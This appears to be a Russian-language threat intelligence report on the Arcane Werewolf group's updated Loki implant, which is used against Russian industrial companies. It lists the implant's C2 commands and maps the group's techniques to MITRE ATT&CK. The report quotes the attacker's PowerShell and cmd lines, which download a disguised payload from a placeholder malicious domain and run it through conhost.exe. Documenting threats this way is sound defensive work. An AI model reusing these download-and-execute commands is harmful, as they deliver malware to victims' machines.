Arcane Werewolf вернулся с обновленным имплантом Loki

Кластер атакует российские промышленные компании

Номер команды	Описание	Аналог команды Loki 2.0
0	Завершение работы импланта	exit
1	Изменение интервала между запросами к C2‑серверу	sleep
2	Загрузка файла на скомпрометированный хост с C2‑сервера	upload
3	Отправка файла со скомпрометированного хоста на C2‑сервер	download
4	Запуск процесса с помощью `CreateProcessW`. Если не передано, какой процесс запустить и какие флаги, то запускается `C:\Windows\System32\cmd.exe` с флагом `/C`, а потоки ввода-вывода перенаправляются через pipe	create-process
5	Внедрение кода в процесс. Возможные опции: внедрение DLL по переданному идентификатору процесса (PID). Поиск точки входа (экспортируемой функции) осуществляется с помощью хеш-функции djb2; внедрение шелл-кода по переданному PID; внедрение шелл-кода по переданному дескриптору (handle) процесса	inject
6	Изменение рабочего каталога с использованием WinAPI-функций `SetCurrentDirectoryW` и `GetCurrentDirectoryW`	cd
7	Завершение указанного процесса с использованием WinAPI-функций `NtOpenProcess` и `NtTerminateProcess`	kill-process
8	Запуск Beacon Object File (BOF)	bof
9	Получение текущего каталога исполнения	pwd
10	Управление токенами доступа Windows	token
11	Получение всех переменных окружения	env

Тактика	Техника	Процедура
Initial Access	Phishing: Spearphishing Link	Arcane Werewolf использует ссылки в фишинговых электронных письмах для загрузки ВПО
Execution	Command and Scripting Interpreter: PowerShell	Arcane Werewolf использует вредоносный LNK‑файл для выполнения команды PowerShell: `powershell -c "$ProgressPreference='SilentlyContinue' ;iwr -Uri $env:u -OutFile $env:TEMP\icon2.png;conhost.exe $env:TEMP\icon2.png"`
	Command and Scripting Interpreter: Windows Command Shell	Arcane Werewolf использует вредоносный LNK‑файл для выполнения команды CMD: `cmd.exe /v:on /c "set u=hxxps://192.168.1[.]1/m2.png && set u=!u:192.168.1[.]1=[malicious_domain]!` Arcane Werewolf использует в дропперах команды CMD для запуска файлов: `cmd.exe /C conhost.exe [malicious_file_path]` `cmd.exe /C start [decoy_file_path]` Arcane Werewolf использует имплант Loki для удаленного выполнения команд в интерпретаторе `cmd.exe`
	Native API	Arcane Werewolf использует в CPP‑дроппере WinAPI-функцию `CreateProcessW` для запуска файла вредоносной нагрузки. Arcane Werewolf использует в импланте Loki WinAPI-функцию `CreateProcessW` для запуска процесса по полученной команде от C2‑сервера
	User Execution: Malicious Link	Arcane Werewolf предпринимает попытки убедить жертву перейти по ссылке в фишинговом письме для загрузки ВПО
	User Execution: Malicious File	Жертва должна распаковать ZIP‑архив и запустить содержащийся в нем LNK‑файл, чтобы инициировать процесс компрометации системы
Defense Evasion	Deobfuscate/Decode Files or Information	Arcane Werewolf использует различные дропперы для деобфускации/декодирования содержащейся в них нагрузки
	Indirect Command Execution	Arcane Werewolf использует `conhost.exe` для запуска вредоносных исполняемых файлов: `onhost.exe %TEMP%\icon2.png` `conhost.exe %TEMP%\chrome_proxy.pdf`
	Masquerading: Double File Extension	Arcane Werewolf использует в названии LNK‑файла двойное расширение `.pdf.lnk`
	Masquerading: Masquerade File Type	Arcane Werewolf применяет расширения `.png` и `.pdf` для маскировки вредоносных исполняемых файлов
	Obfuscated Files or Information: Dynamic API Resolution	Arcane Werewolf использует алгоритм djb2 для хеширования названий WinAPI-функций и библиотек в Loki и CPP‑дроппере
	Obfuscated Files or Information: Embedded Payloads	Arcane Werewolf хранит имплант Loki в загрузчике Loki версии 2.1
	Obfuscated Files or Information: Encrypted/Encoded File	Arcane Werewolf хранит в Go‑дроппере закодированную Base64 нагрузку
	Obfuscated Files or Information: Compression	Arcane Werewolf хранит в CPP‑дроппере нагрузку в секции ресурсов в сжатом виде
	Process Injection	Arcane Werewolf, используя имплант Loki, может по команде C2‑сервера внедрять шелл-код в определенный процесс
	Process Injection: Dynamic-link Library Injection	Arcane Werewolf, используя имплант Loki, может по команде C2‑сервера внедрять DLL в определенный процесс
Discovery	System Information Discovery	Arcane Werewolf использует загрузчик Loki для получения имени компьютера, версии ОС
	System Network Configuration Discovery	Arcane Werewolf использует загрузчик Loki для получения внутреннего IP‑адреса скомпрометированного хоста
	System Owner/User Discovery	Arcane Werewolf использует загрузчик Loki для получения имени пользователя системы
Command and Control	Layer Protocol: Web Protocols	Arcane Werewolf использует HTTPS для коммуникации с C2‑сервером в Loki
	Data Encoding: Standard Encoding	Arcane Werewolf использует Base64 для кодирования зашифрованных данных, передаваемых на C2‑сервер
	Encrypted Channel: Symmetric Cryptography	Arcane Werewolf использует алгоритм AES в загрузчике Loki для шифрования данных, передаваемых на C2‑сервер
	Ingress Tool Transfer	Arcane Werewolf, используя имплант Loki, может по команде C2‑сервера загружать файлы на скомпрометированный хост
Exfiltration	Exfiltration Over C2 Channel	Arcane Werewolf, используя имплант Loki, может по команде C2‑сервера отправлять файлы со скомпрометированного хоста на C2‑сервер
Impact	Service Stop	Arcane Werewolf, используя имплант Loki, может по команде C2‑сервера завершать работу определенных процессов